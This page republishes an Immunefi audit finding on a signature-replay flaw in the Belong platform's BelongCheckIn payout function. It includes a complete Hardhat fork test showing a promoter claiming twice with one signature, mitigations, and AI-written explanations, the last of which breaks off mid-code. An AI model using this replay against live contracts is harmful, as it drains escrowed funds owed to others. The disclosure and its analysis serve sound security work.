Skip to content
Smart contracts Audit finding Intermediate

Signature Replay Vulnerability in BelongCheckIn::distributePromoterPayments

The payout function verifies a signature over a fixed payload with no nonce, timestamp or cumulative counter, so a promoter can reuse one signed message to claim payouts repeatedly whenever their token balance is topped up. This lets a promoter over-claim and drain the venue escrow, potentially blocking other promoters from claiming.

Belong

Originally disclosed on Immunefi

57800 sc medium signature replay vulnerability in belongcheckin distributepromoterpayments

Description

Brief/Intro

The distributePromoterPayments function in the BelongCheckIn contract is vulnerable to a signature replay attack. A promoter can reuse a previously valid signature to claim payouts multiple times if their credit balance is replenished or they have surplus.

The signature is generated over a fixed payload (promoter address, venue address, amountInUSD, and chainId) and lacks unique identifiers like nonces or timestamps to prevent reuse. This allows a promoter with sufficient credits to "replay" an old signature for the same amountInUSD, effectively getting paid multiple times for the same signed intent without requiring new authorization.

The issue leads to unauthorized over-payments.

Vulnerability Details

The contract verifies a signature over:

  • promoter
  • venue
  • amountInUSD
  • chainId

Example verifier excerpt:

SOL
/// @notice Verifies promoter payout distribution payload.
    /// @dev Hash covers: `promoter`, `venue`, `amountInUSD`, and `chainId`.
    /// @param signer Authorized signer address.
    /// @param promoterInfo Payout details. Only the fields listed above are signed.
    function checkPromoterPaymentDistribution(address signer, PromoterInfo memory promoterInfo) external view {
        require(
            signer.isValidSignatureNow(
                keccak256(
                    abi.encodePacked(promoterInfo.promoter, promoterInfo.venue, promoterInfo.amountInUSD, block.chainid)
                ),
                promoterInfo.signature
            ),
            InvalidSignature()
        );
    }

Excerpt of the vulnerable payout flow:

SOL
function distributePromoterPayments(PromoterInfo memory promoterInfo) external {
    BelongCheckInStorage memory _storage = belongCheckInStorage;

    _storage.contracts.factory.nftFactoryParameters().signerAddress.checkPromoterPaymentDistribution(promoterInfo);

    uint256 venueId = promoterInfo.venue.getVenueId();

    uint256 promoterBalance = _storage.contracts.promoterToken.balanceOf(promoterInfo.promoter, venueId);
    require(
        promoterBalance >= promoterInfo.amountInUSD, NotEnoughBalance(promoterInfo.amountInUSD, promoterBalance)
    );

    PromoterStakingRewardInfo memory stakingInfo =
    stakingRewards[_storage.contracts.staking.balanceOf(promoterInfo.promoter).stakingTiers()].promoterStakingInfo;

    uint256 toPromoter = promoterInfo.amountInUSD;
    uint24 percentage = promoterInfo.paymentInUSDC ? stakingInfo.usdcPercentage : stakingInfo.longPercentage;
    uint256 platformFees = percentage.calculateRate(toPromoter);
    unchecked {
        toPromoter -= platformFees;
    }

    if (promoterInfo.paymentInUSDC) {
        // Route platform fees here for buyback/burn split, then forward remainder.
        _storage.contracts.escrow.distributeVenueDeposit(promoterInfo.venue, address(this), platformFees);
        _handleRevenue(_storage.paymentsInfo.usdc, platformFees);
        _storage.contracts.escrow.distributeVenueDeposit(promoterInfo.venue, promoterInfo.promoter, toPromoter);
    } else {
        _storage.contracts.escrow
            .distributeVenueDeposit(promoterInfo.venue, address(this), promoterInfo.amountInUSD);
        // Swap fee portion to this contract for burning, then forward remainder to platform.
        uint256 longFees = _swapUSDCtoLONG(address(this), platformFees);
        _handleRevenue(_storage.paymentsInfo.long, longFees);
        _swapUSDCtoLONG(promoterInfo.promoter, toPromoter);
    }

    _storage.contracts.promoterToken.burn(promoterInfo.promoter, venueId, promoterInfo.amountInUSD);

    emit PromoterPaymentsDistributed(
        promoterInfo.promoter, promoterInfo.venue, promoterInfo.amountInUSD, promoterInfo.paymentInUSDC
    );
}

Because the signed payload does not include any nonce, timestamp, or any data tying the signature to a specific balance state (e.g., cumulative withdrawn amount), a promoter can reuse the same signed message later whenever their token balance is again >= amountInUSD. The contract only checks that the current token balance is sufficient and then burns tokens, so replaying the signature after replenishing tokens enables multiple payouts for the same signed intent.

Impact Details

  • Promoters can over-claim, draining the venue escrow balance.
  • Other promoters may be unable to claim due to depleted escrow funds.

{% hint style="warning" %} Severity: Medium — unauthorized over-payments can result in theft or draining of escrowed funds. {% endhint %}

References

Proof of Concept

Steps to reproduce:

{% stepper %} {% step %} Copy the included test into file.test.ts in test/v2/platform. {% endstep %}

{% step %} Run:

yarn test test/v2/platform/file.test.ts {% endstep %} {% endstepper %}

PoC test (full file):

TS
import { ethers } from 'hardhat';
import { BigNumber } from 'ethers';
import { loadFixture } from '@nomicfoundation/hardhat-network-helpers';
import EthCrypto from 'eth-crypto';
import {
  AccessToken,
  CreditToken,
  Escrow,
  Factory,
  Helper,
  MockTransferValidatorV2,
  RoyaltiesReceiverV2,
  SignatureVerifier,
  Staking,
  BelongCheckIn,
  VestingWalletExtended,
} from '../../../typechain-types';
import {
  deployCreditTokens,
  deployAccessTokenImplementation,
  deployCreditTokenImplementation,
  deployFactory,
  deployRoyaltiesReceiverV2Implementation,
  deployStaking,
  deployBelongCheckIn,
  deployEscrow,
  deployVestingWalletImplementation,
} from '../../../helpers/deployFixtures';
import { getSignerFromAddress, getToken, startSimulateMainnet, stopSimulate } from '../../../helpers/fork';
import { deployHelper, deploySignatureVerifier } from '../../../helpers/deployLibraries';
import { deployMockTransferValidatorV2, deployPriceFeeds } from '../../../helpers/deployMockFixtures';
import { expect } from 'chai';
import {
  CustomerInfoStruct,
  PromoterInfoStruct,
  VenueInfoStruct,
  VenueRulesStruct,
} from '../../../typechain-types/contracts/v2/platform/BelongCheckIn';
import { U, u } from '../../../helpers/math';

describe('BelongCheckIn ETH Uniswap', () => {
  const chainId = 31337;

  const WETH_ADDRESS = '0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2';
  const USDC_ADDRESS = '0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48';
  const ENA_ADDRESS = '0x57e114B691Db790C35207b2e685D4A43181e6061'; //used instead of LONG

  const USDC_WHALE_ADDRESS = '0x8EB8a3b98659Cce290402893d0123abb75E3ab28';
  const WETH_WHALE_ADDRESS = '0x57757E3D981446D585Af0D9Ae4d7DF6D64647806';
  const ENA_WHALE_ADDRESS = '0xF977814e90dA44bFA03b6295A0616a897441aceC';

  const UNISWAP_FACTORY_ADDRESS = '0x1F98431c8aD98523631AE4a59f267346ea31F984';
  const UNISWAP_ROUTER_ADDRESS = '0xE592427A0AEce92De3Edee1F18E0157C05861564';
  const UNISWAP_QUOTER_ADDRESS = '0xb27308f9F90D607463bb33eA1BeBb41C27CE5AB6';
  const POOL_FEE = 3000;
  const MAX_PRICEFEED_DELAY = 3600;

  const usdcPercentage = 1000;
  const convenienceFeeAmount = U(5, 6); // $5

  const paymentsInfo: BelongCheckIn.PaymentsInfoStruct = {
    swapPoolFees: POOL_FEE,
    slippageBps: BigNumber.from(10).pow(27).sub(1),
    swapV3Factory: UNISWAP_FACTORY_ADDRESS,
    swapV3Router: UNISWAP_ROUTER_ADDRESS,
    swapV3Quoter: UNISWAP_QUOTER_ADDRESS,
    wNativeCurrency: WETH_ADDRESS,
    usdc: USDC_ADDRESS,
    long: ENA_ADDRESS,
    maxPriceFeedDelay: MAX_PRICEFEED_DELAY,
  };

  const stakingRewards: [
    BelongCheckIn.RewardsInfoStruct,
    BelongCheckIn.RewardsInfoStruct,
    BelongCheckIn.RewardsInfoStruct,
    BelongCheckIn.RewardsInfoStruct,
    BelongCheckIn.RewardsInfoStruct,
  ] = [
    {
      venueStakingInfo: {
        depositFeePercentage: 1000,
        convenienceFeeAmount,
      } as BelongCheckIn.VenueStakingRewardInfoStruct,
      promoterStakingInfo: {
        usdcPercentage,
        longPercentage: 800,
      } as BelongCheckIn.PromoterStakingRewardInfoStruct,
    } as BelongCheckIn.RewardsInfoStruct,
    {
      venueStakingInfo: {
        depositFeePercentage: 900,
        convenienceFeeAmount,
      } as BelongCheckIn.VenueStakingRewardInfoStruct,
      promoterStakingInfo: {
        usdcPercentage,
        longPercentage: 700,
      } as BelongCheckIn.PromoterStakingRewardInfoStruct,
    } as BelongCheckIn.RewardsInfoStruct,
    {
      venueStakingInfo: {
        depositFeePercentage: 800,
        convenienceFeeAmount,
      } as BelongCheckIn.VenueStakingRewardInfoStruct,
      promoterStakingInfo: {
        usdcPercentage,
        longPercentage: 600,
      } as BelongCheckIn.PromoterStakingRewardInfoStruct,
    } as BelongCheckIn.RewardsInfoStruct,
    {
      venueStakingInfo: {
        depositFeePercentage: 700,
        convenienceFeeAmount,
      } as BelongCheckIn.VenueStakingRewardInfoStruct,
      promoterStakingInfo: {
        usdcPercentage,
        longPercentage: 500,
      } as BelongCheckIn.PromoterStakingRewardInfoStruct,
    } as BelongCheckIn.RewardsInfoStruct,
    {
      venueStakingInfo: {
        depositFeePercentage: 500,
        convenienceFeeAmount,
      } as BelongCheckIn.VenueStakingRewardInfoStruct,
      promoterStakingInfo: {
        usdcPercentage,
        longPercentage: 400,
      } as BelongCheckIn.PromoterStakingRewardInfoStruct,
    } as BelongCheckIn.RewardsInfoStruct,
  ];
  const fees: BelongCheckIn.FeesStruct = {
    referralCreditsAmount: 3,
    affiliatePercentage: 1000,
    longCustomerDiscountPercentage: 300,
    platformSubsidyPercentage: 300,
    processingFeePercentage: 250,
    buybackBurnPercentage: 5000,
  };
  let implementations: Factory.ImplementationsStruct, contracts: BelongCheckIn.ContractsStruct;

  before(startSimulateMainnet);
  after(stopSimulate);

  async function fixture() {
    const [admin, treasury, manager, minter, burner, pauser, referral] = await ethers.getSigners();
    const signer = EthCrypto.createIdentity();

    const WETH_whale = await getSignerFromAddress(WETH_WHALE_ADDRESS);
    const USDC_whale = await getSignerFromAddress(USDC_WHALE_ADDRESS);
    const ENA_whale = await getSignerFromAddress(ENA_WHALE_ADDRESS);
    const WETH = await getToken(WETH_ADDRESS);
    const USDC = await getToken(USDC_ADDRESS);
    const ENA = await getToken(ENA_ADDRESS);

    const signatureVerifier: SignatureVerifier = await deploySignatureVerifier();
    const validator: MockTransferValidatorV2 = await deployMockTransferValidatorV2();
    const accessTokenImplementation: AccessToken = await deployAccessTokenImplementation(signatureVerifier.address);
    const royaltiesReceiverV2Implementation: RoyaltiesReceiverV2 = await deployRoyaltiesReceiverV2Implementation();
    const creditTokenImplementation: CreditToken = await deployCreditTokenImplementation();
    const vestingWallet: VestingWalletExtended = await deployVestingWalletImplementation();

    const treasuryUsdcBalance = await USDC.balanceOf(treasury.address);
    if (!treasuryUsdcBalance.isZero()) {
      await USDC.connect(treasury).transfer(USDC_whale.address, treasuryUsdcBalance);
    }

    implementations = {
      accessToken: accessTokenImplementation.address,
      creditToken: creditTokenImplementation.address,
      royaltiesReceiver: royaltiesReceiverV2Implementation.address,
      vestingWallet: vestingWallet.address,
    };

    const factory: Factory = await deployFactory(
      treasury.address,
      signer.address,
      signatureVerifier.address,
      validator.address,
      implementations,
    );

    const helper: Helper = await deployHelper();
    const staking: Staking = await deployStaking(admin.address, treasury.address, ENA_ADDRESS);

    const referralCode = EthCrypto.hash.keccak256([
      { type: 'address', value: referral.address },
      { type: 'address', value: factory.address },
      { type: 'uint256', value: chainId },
    ]);

    await factory.connect(referral).createReferralCode();

    const belongCheckIn: BelongCheckIn = await deployBelongCheckIn(
      signatureVerifier.address,
      helper.address,
      admin.address,
      paymentsInfo,
    );

    const escrow: Escrow = await deployEscrow(belongCheckIn.address);
    const { pf1, pf2, pf2_2, pf2_3, pf3 } = await deployPriceFeeds();
    const { venueToken, promoterToken } = await deployCreditTokens(
      true,
      false,
      factory.address,
      signer.privateKey,
      admin,
      manager.address,
      belongCheckIn.address,
      belongCheckIn.address,
    );

    contracts = {
      factory: factory.address,
      escrow: escrow.address,
      staking: staking.address,
      venueToken: venueToken.address,
      promoterToken: promoterToken.address,
      longPF: pf1.address,
    };

    await belongCheckIn.setContracts(contracts);

    return {
      signatureVerifier,
      helper,
      factory,
      staking,
      venueToken,
      promoterToken,
      belongCheckIn,
      escrow,
      pf1,
      pf2,
      pf2_2,
      pf2_3,
      pf3,
      admin,
      treasury,
      manager,
      minter,
      burner,
      pauser,
      referral,
      signer,
      referralCode,
      WETH,
      USDC,
      ENA,
      WETH_whale,
      USDC_whale,
      ENA_whale,
    };
  }

  describe('Promoter flow usdc', () => {
    it('distributePromoterPayments() (full amount)', async () => {
      const {
        belongCheckIn,
        helper,
        escrow,
        promoterToken,
        signatureVerifier,
        referral,
        signer,
        treasury,
        referralCode,
        USDC,
        USDC_whale,
        ENA_whale,
      } = await loadFixture(fixture);

      const uri = 'uriuri';
      const venueAmount = await u(100, USDC);
      const venue = USDC_whale.address;
      const venueMessage = ethers.utils.solidityKeccak256(
        ['address', 'bytes32', 'string', 'uint256'],
        [venue, referralCode, uri, chainId],
      );
      const venueSignature = EthCrypto.sign(signer.privateKey, venueMessage);

      let venueInfo: VenueInfoStruct = {
        rules: { paymentType: 3, bountyType: 3, longPaymentType: 0 } as VenueRulesStruct,
        venue,
        amount: venueAmount,
        referralCode,
        uri,
        signature: venueSignature,
      };

      const paymentToAffiliate = await helper.calculateRate(fees.affiliatePercentage, venueAmount);
      const willBeTaken = paymentToAffiliate.add(convenienceFeeAmount.add(venueAmount));
      await USDC.connect(USDC_whale).approve(belongCheckIn.address, willBeTaken);
      await belongCheckIn.connect(USDC_whale).venueDeposit(venueInfo);

      const customerAmount = await u(5, USDC);
      const customerMessage = ethers.utils.solidityKeccak256(
        ['bool', 'uint128', 'uint24', 'address', 'address', 'address', 'uint256', 'uint256'],
        [
          true, // paymentInUSDC
          await u(1, USDC), // visitBountyAmount (uint24, adjust to uint256 if needed)
          1000, // spendBountyPercentage (uint24, adjust to uint256 if needed)
          ENA_whale.address, // customer
          USDC_whale.address, // venueToPayFor
          referral.address, // promoter
          customerAmount, // amount
          chainId, // block.chainid
        ],
      );
      const customerSignature = EthCrypto.sign(signer.privateKey, customerMessage);
      const customerInfo: CustomerInfoStruct = {
        paymentInUSDC: true,
        visitBountyAmount: await u(1, USDC),
        spendBountyPercentage: 1000,
        customer: ENA_whale.address,
        venueToPayFor: USDC_whale.address,
        promoter: referral.address,
        amount: customerAmount,
        signature: customerSignature,
      };

      await USDC.connect(USDC_whale).transfer(ENA_whale.address, customerAmount);
      await USDC.connect(ENA_whale).approve(belongCheckIn.address, customerAmount);

      await belongCheckIn.connect(ENA_whale).payToVenue(customerInfo);

      const promoterBalance_promoterToken_before = await promoterToken.balanceOf(
        referral.address,
        await helper.getVenueId(USDC_whale.address),
      );

      const promoterMessage = ethers.utils.solidityKeccak256(
        ['address', 'address', 'uint256', 'uint256'],
        [
          referral.address, // promoter
          USDC_whale.address, // venue
          750000, // amountInUSD
          chainId, // block.chainid
        ],
      );

      const promoterSignature = EthCrypto.sign(signer.privateKey, promoterMessage);
      const promoterInfo: PromoterInfoStruct = {
        paymentInUSDC: true,
        promoter: referral.address,
        venue: USDC_whale.address,
        amountInUSD: 750000,
        signature: promoterSignature,
      };

      let toPromoter = promoterBalance_promoterToken_before;
      const platformFees = await helper.calculateRate(1000, toPromoter);
      toPromoter = toPromoter.sub(platformFees);

      const tx = await belongCheckIn.connect(referral).distributePromoterPayments(promoterInfo);
      const tx1 = await belongCheckIn.connect(referral).distributePromoterPayments(promoterInfo);
    });
  });
});

Result observed when running the test:

✔ distributePromoterPayments() (full amount) (1858ms)

Promoter was able to claim with the same signature twice

Suggested Mitigations (not exhaustive)

  • Include a nonce, unique identifier, or timestamp in the signed payload and track used nonces (e.g., mapping of signer => nonce => used) so signatures cannot be replayed.
  • Alternatively, include cumulative withdrawn amount or a per-promoter incremental counter in the signed message and update/check it during distribution.
  • Require the signer to sign the specific promoter token balance or a unique claim ID that is burned/marked when used.

(Do not implement changes in this report — the above suggestions are general mitigations derived from the issue description.)


The original report as published on Immunefi. Images and videos are our own copies; raw HTML is shown as text. View it on Immunefi.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 7 min read.

Context

Belong is a platform built around venues, promoters and customers, with the on-chain logic split across several contracts. The target of this report is BelongCheckIn, specifically the promoter payout path. The contract lives at contracts/v2/platform/BelongCheckIn.sol in the immunefi-team/audit-comp-belong repository, and the report points at line 516 for the payout function and at contracts/v2/utils/SignatureVerifier.sol line 204 for the verifier.

A promoter earns promoter tokens for a given venue. When the promoter wants to convert those tokens into a payout, they call distributePromoterPayments with a PromoterInfo struct that carries the promoter address, the venue address, the amount in USD, a flag for whether payment is in USDC or LONG, and a signature. The contract checks the signature, checks that the promoter's token balance for that venue covers the amount, takes a platform fee based on the promoter's staking tier, forwards the remainder, and burns the promoter tokens. The escrow contract holds the venue deposits that the payout is drawn from.

The report was submitted on 28 October 2025 by @Josh4324 for the Audit Comp | Belong, report ID #57800, severity Medium, with the impact category "Theft of unclaimed yield".

Setup

The proof of concept is a Hardhat test written in TypeScript. It runs against a mainnet fork and uses real mainnet addresses for the tokens and Uniswap contracts:

TS
const WETH_ADDRESS = '[redacted]';
const USDC_ADDRESS = '[redacted]';
const ENA_ADDRESS = '[redacted]'; //used instead of LONG

ENA stands in for LONG, the platform's own token. The test also impersonates three mainnet whales to fund the scenario:

TS
const USDC_WHALE_ADDRESS = '[redacted]';
const WETH_WHALE_ADDRESS = '[redacted]';
const ENA_WHALE_ADDRESS = '[redacted]';

Uniswap V3 factory, router and quoter addresses are configured in the payments struct, with a pool fee of 3000 and a maximum price feed delay of 3600 seconds. The staking rewards table defines five tiers; the first tier, which the test promoter falls into, has usdcPercentage: 1000 and longPercentage: 800. The fees struct sets affiliatePercentage: 1000, processingFeePercentage: 250 and buybackBurnPercentage: 5000, among others.

The fixture deploys the signature verifier, a mock transfer validator, the access token, royalties receiver, credit token and vesting wallet implementations, then the factory, helper, staking, BelongCheckIn and escrow contracts. It deploys the price feeds and the venue and promoter credit tokens, wires the contract addresses into BelongCheckIn via setContracts, and creates a referral code for the referral account, which acts as the promoter in the test. The signer identity is created with EthCrypto.createIdentity() and its address is passed to the factory as the authorised signer.

Roles used in the test: admin, treasury, manager, minter, burner, pauser, referral (the promoter), plus the three impersonated whales and the off-chain signer.

Finding it

The researcher looked at what the signature actually commits to. The verifier hashes only four values:

SOL
/// @notice Verifies promoter payout distribution payload.
    /// @dev Hash covers: `promoter`, `venue`, `amountInUSD`, and `chainId`.
    /// @param signer Authorized signer address.
    /// @param promoterInfo Payout details. Only the fields listed above are signed.
    function checkPromoterPaymentDistribution(address signer, PromoterInfo memory promoterInfo) external view {
        require(
            signer.isValidSignatureNow(
                keccak256(
                    abi.encodePacked(promoterInfo.promoter, promoterInfo.venue, promoterInfo.amountInUSD, block.chainid)
                ),
                promoterInfo.signature
            ),
            InvalidSignature()
        );
    }

There is no nonce, no timestamp, and nothing that ties the signature to a particular balance state, such as a cumulative withdrawn amount. The same signed message stays valid forever for that promoter, venue, amount and chain. The only thing that changes between calls is the promoter's token balance, and the payout function checks that balance rather than the history of the signature.

Exploitation

Step 1: fund the venue

The test builds a venue deposit signed by the off-chain signer over the venue address, the referral code, a URI and the chain ID, then calls venueDeposit from the USDC whale after approving the affiliate payment plus the convenience fee plus the deposit:

TS
const venueMessage = ethers.utils.solidityKeccak256(
  ['address', 'bytes32', 'string', 'uint256'],
  [venue, referralCode, uri, chainId],
);
const venueSignature = EthCrypto.sign(signer.privateKey, venueMessage);

This puts funds into the escrow that the later payout will draw from.

Step 2: generate promoter credit through a customer payment

The test signs a customer payload covering the payment currency flag, visit bounty amount, spend bounty percentage, customer, venue, promoter, amount and chain ID, then has the customer pay the venue:

TS
const customerMessage = ethers.utils.solidityKeccak256(
  ['bool', 'uint128', 'uint24', 'address', 'address', 'address', 'uint256', 'uint256'],
  [
    true, // paymentInUSDC
    await u(1, USDC), // visitBountyAmount (uint24, adjust to uint256 if needed)
    1000, // spendBountyPercentage (uint24, adjust to uint256 if needed)
    ENA_whale.address, // customer
    USDC_whale.address, // venueToPayFor
    referral.address, // promoter
    customerAmount, // amount
    chainId, // block.chainid
  ],
);

After payToVenue, the promoter holds promoter tokens for the venue. The test reads that balance:

TS
const promoterBalance_promoterToken_before = await promoterToken.balanceOf(
  referral.address,
  await helper.getVenueId(USDC_whale.address),
);

Step 3: obtain one payout signature

The signer signs a single message for an amount of 750000:

TS
const promoterMessage = ethers.utils.solidityKeccak256(
  ['address', 'address', 'uint256', 'uint256'],
  [
    referral.address, // promoter
    USDC_whale.address, // venue
    750000, // amountInUSD
    chainId, // block.chainid
  ],
);

const promoterSignature = EthCrypto.sign(signer.privateKey, promoterMessage);

That signature is placed in a PromoterInfo struct with paymentInUSDC: true.

Step 4: call the payout twice with the same struct

The test calls the function twice, back to back, with the identical promoterInfo object:

TS
const tx = await belongCheckIn.connect(referral).distributePromoterPayments(promoterInfo);
const tx1 = await belongCheckIn.connect(referral).distributePromoterPayments(promoterInfo);

The observed result, as recorded in the report:

Text
✔ distributePromoterPayments() (full amount) (1858ms)

Promoter was able to claim with the same signature twice

The report records that the promoter was able to claim with the same signature twice. The escrow pays out twice for one signed intent.

Root cause

The signed payload is keccak256(abi.encodePacked(promoter, venue, amountInUSD, block.chainid)). It is a pure statement of intent ("pay this promoter this amount at this venue on this chain") with no state attached. The payout function then does the following, in order:

SOL
function distributePromoterPayments(PromoterInfo memory promoterInfo) external {
    BelongCheckInStorage memory _storage = belongCheckInStorage;

    _storage.contracts.factory.nftFactoryParameters().signerAddress.checkPromoterPaymentDistribution(promoterInfo);

    uint256 venueId = promoterInfo.venue.getVenueId();

    uint256 promoterBalance = _storage.contracts.promoterToken.balanceOf(promoterInfo.promoter, venueId);
    require(
        promoterBalance >= promoterInfo.amountInUSD, NotEnoughBalance(promoterInfo.amountInUSD, promoterBalance)
    );

It verifies the signature, checks the current balance, and later burns amountInUSD of promoter tokens. Nothing records that this particular signature has already been used. The balance check is a rate limiter, not a replay defence: as soon as the promoter's balance is replenished to at least amountInUSD again, the same signature is accepted once more. The report notes that a promoter can replay if their credit balance is replenished or they have surplus.

The existing defence, the signature check itself, only proves that the platform's signer authorised a payout of that amount to that promoter at that venue. It does not prove freshness or single use, so it does not stop the replay.

Impact

A promoter can claim more than the signer intended, draining the venue escrow balance. Because the escrow is shared, other promoters may then be unable to claim due to depleted funds. The report frames this as theft of unclaimed yield and rates it Medium, describing the outcome as unauthorised over-payments that can result in theft or draining of escrowed funds.

Fix

The report lists mitigations rather than a change that was made:

  1. Include a nonce, unique identifier or timestamp in the signed payload and track used nonces, for example a mapping of signer to nonce to used, so signatures cannot be replayed.
  2. Alternatively, include a cumulative withdrawn amount or a per-promoter incremental counter in the signed message and check and update it during distribution.
  3. Require the signer to sign the specific promoter token balance or a unique claim ID that is burned or marked when used.

The report explicitly says not to implement changes in the report itself and presents these as general mitigations derived from the issue.

Variants to test

  • Look for other functions that verify a signature over a fixed tuple of addresses and amounts without a nonce or deadline. A positive result is a second successful call with an identical signature and struct.
  • Check whether the signed payload includes block.chainid but not the verifying contract address. If it does not, a signature produced for one deployment may be accepted by another on the same chain; a positive result is a payout on a second contract instance using a signature from the first.
  • Check whether the amount is signed but the payment currency flag is not.

Hunting notes

Signature replay bugs cluster in payout, withdrawal and claim functions where an off-chain signer authorises an amount and the contract treats the signature as a one-time coupon. The signal during review is a hash built only from addresses, amounts and the chain ID, with no nonce, deadline, or per-user counter, and a function that checks a balance and then decrements or burns it. If the balance can be topped up, the signature is effectively reusable.

The researcher demonstrated impact with a fork test that performs the full flow, from venue deposit through customer payment to two identical payout calls. That end-to-end demonstration, rather than a description of the missing nonce alone, is what establishes that the escrow actually pays out twice.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 16 min read.

What happened, in plain words

Belong is a platform that connects three kinds of people: venues (places such as shops or events), promoters (people who bring customers to those venues), and customers. The money side of the platform runs on smart contracts, which are small programs that live on a blockchain. A blockchain is a shared record book that many computers keep copies of, and a smart contract is a program stored in that record book that anyone can call, but whose rules cannot be quietly changed afterwards.

One of those contracts is called BelongCheckIn. It handles, among other things, paying promoters. A promoter collects "promoter tokens" for a venue, a bit like loyalty points, and later swaps them for real money. To do that, the promoter calls a function called distributePromoterPayments.

A function is a named action inside a contract. Calling it is like pressing a button on a vending machine: you supply some inputs and the machine does its job. The inputs here are bundled in a structure called PromoterInfo, which holds the promoter's address (an account identifier on the blockchain), the venue's address, an amount in US dollars, a flag saying whether the promoter wants to be paid in USDC (a digital dollar coin) or LONG (the platform's own token), and a signature.

A signature here is not a handwritten squiggle. It is a short piece of cryptographic data produced with a private key, a secret number that only its owner knows. Anyone can check a signature against the matching public address, but only the holder of the private key can create it. In this system, the platform runs a signer (a server holding a private key) that signs messages saying "yes, this promoter may be paid this amount at this venue". The contract checks that signature before paying out.

The problem the researcher found is that the signed message never changes. It contains only four things: the promoter, the venue, the amount, and the chain ID (a number identifying which blockchain network you are on). It contains nothing that makes it unique to one occasion, such as a serial number or a date. So the same signed message can be handed to the contract again and again, and the contract will accept it every time, as long as the promoter still has enough tokens to cover the amount.

Think of a cinema ticket with no seat number, no date and no barcode: the usher checks it looks genuine, tears off a stub, and lets you in. If you can get another stub, or if the usher only checks that you are holding a ticket, the same ticket gets you into the same film repeatedly. Here, the "stub" is the promoter's token balance, which gets burned (destroyed) on each payout, but which can be topped up again by normal platform activity. Once it is topped up, the old signature works once more.

The consequence is that a promoter can be paid more than the platform's signer ever intended, and the money comes out of an escrow contract, which is a holding account that keeps venue deposits until they are paid out. Draining that shared pot can leave other promoters unable to claim. The report rates this Medium severity and files it under "Theft of unclaimed yield".

The report was submitted on 28 October 2025 by @Josh4324 for the Audit Comp | Belong, with report ID #57800. The target is the file contracts/v2/platform/BelongCheckIn.sol in the immunefi-team/audit-comp-belong repository, with the payout function at line 516 and the signature-checking code in contracts/v2/utils/SignatureVerifier.sol at line 204.

The pieces involved

Before walking through the proof, it helps to know what each part does.

  • The escrow contract holds venue deposits. When a promoter is paid, the money is moved out of the escrow to the promoter (minus a platform fee).
  • The promoter token is a per-venue credit. A promoter's balance for a given venue is what entitles them to a payout, and the payout function burns that many tokens.
  • The signature verifier is the code that checks whether a signature matches a message and an authorised signer address.
  • The factory stores platform-wide settings, including the address of the authorised signer.
  • Staking tiers decide what percentage the platform takes as a fee. The test promoter is in the first tier, where the USDC fee percentage is 1000 (in hundredths of a percent, so 10%) and the LONG fee percentage is 800.
  • USDC is a digital dollar coin. LONG is the platform's own token; in the test, a different token called ENA stands in for it.

Setting up the test

The proof of concept is an automated test written in TypeScript, a programming language, and run with Hardhat, a toolkit for testing smart contracts. It does not touch the real blockchain. Instead it uses a "fork": a copy of the real blockchain's state at a chosen moment, running on the tester's own machine. That lets the test use real token contracts and real Uniswap contracts without spending real money.

Uniswap is a decentralised exchange, a set of contracts that swap one token for another. The test configures its factory, router and quoter addresses so the contract can perform swaps during payouts.

The test pins three real token addresses:

TS
const WETH_ADDRESS = '[redacted]';
const USDC_ADDRESS = '[redacted]';
const ENA_ADDRESS = '[redacted]'; //used instead of LONG

Line by line: the first line stores the address of WETH, a token that represents wrapped ether (the blockchain's native currency in token form). The second stores the address of USDC, the digital dollar. The third stores the address of ENA, and the comment says it is used instead of LONG, the platform's own token, presumably because LONG is not available on the forked network. An address here is a 20-byte identifier written in hexadecimal, the same kind of identifier a wallet has.

The test also needs large holders of these tokens to fund the scenario, so it borrows balances from three real accounts known as "whales":

TS
const USDC_WHALE_ADDRESS = '[redacted]';
const WETH_WHALE_ADDRESS = '[redacted]';
const ENA_WHALE_ADDRESS = '[redacted]';

A whale is simply an account that holds a very large amount of a token. On a fork, the test can pretend to be any of these accounts, which is called impersonation. That is how it gets USDC and ENA to play with.

Other settings in the test: the Uniswap pool fee is 3000 (the standard 0.3% tier), and the maximum price feed delay is 3600 seconds, meaning the contract will accept price data up to an hour old. The staking rewards table defines five tiers. The first tier has usdcPercentage: 1000 and longPercentage: 800. The fees structure sets affiliatePercentage: 1000, processingFeePercentage: 250 and buybackBurnPercentage: 5000, among other values.

The setup routine, called a fixture, deploys all the contracts the scenario needs: the signature verifier, a mock transfer validator, the access token, royalties receiver, credit token and vesting wallet implementations, then the factory, helper, staking, BelongCheckIn and escrow. It deploys price feeds and the venue and promoter credit tokens, wires the addresses into BelongCheckIn through setContracts, and creates a referral code for the referral account, which plays the promoter. The signer identity is created with EthCrypto.createIdentity(), and its address is given to the factory as the authorised signer.

The roles in the test are admin, treasury, manager, minter, burner, pauser and referral (the promoter), plus the three impersonated whales and the off-chain signer.

Finding it

The researcher's starting question was simple: what exactly does the signature commit to? The answer is in the verifier:

SOL
/// @notice Verifies promoter payout distribution payload.
    /// @dev Hash covers: `promoter`, `venue`, `amountInUSD`, and `chainId`.
    /// @param signer Authorized signer address.
    /// @param promoterInfo Payout details. Only the fields listed above are signed.
    function checkPromoterPaymentDistribution(address signer, PromoterInfo memory promoterInfo) external view {
        require(
            signer.isValidSignatureNow(
                keccak256(
                    abi.encodePacked(promoterInfo.promoter, promoterInfo.venue, promoterInfo.amountInUSD, block.chainid)
                ),
                promoterInfo.signature
            ),
            InvalidSignature()
        );
    }

Line by line: the comment lines describe what the function does and warn that only four fields are signed. The function is called checkPromoterPaymentDistribution, takes the authorised signer address and the payout details, and is marked view, meaning it only reads data and changes nothing. Inside, require(...) is a check that must pass or the whole call is rejected. abi.encodePacked glues the four values together into one byte string. keccak256 turns that byte string into a fixed-length fingerprint, called a hash. isValidSignatureNow asks whether promoterInfo.signature is a valid signature of that hash by the signer address. If not, the call fails with InvalidSignature().

A hash is a one-way fingerprint: the same input always gives the same output, and you cannot work backwards from the output to the input. Because the four inputs never include a serial number, a date, or a record of how much has already been paid out, the fingerprint is identical every time. The signature over it therefore stays valid forever for that promoter, venue, amount and chain. The only thing that changes between calls is the promoter's token balance, and the payout function checks that balance rather than the history of the signature.

Exploitation

Step 1: fund the venue

Before anyone can be paid, the escrow needs money in it. The test builds a venue deposit message and signs it with the off-chain signer:

TS
const venueMessage = ethers.utils.solidityKeccak256(
  ['address', 'bytes32', 'string', 'uint256'],
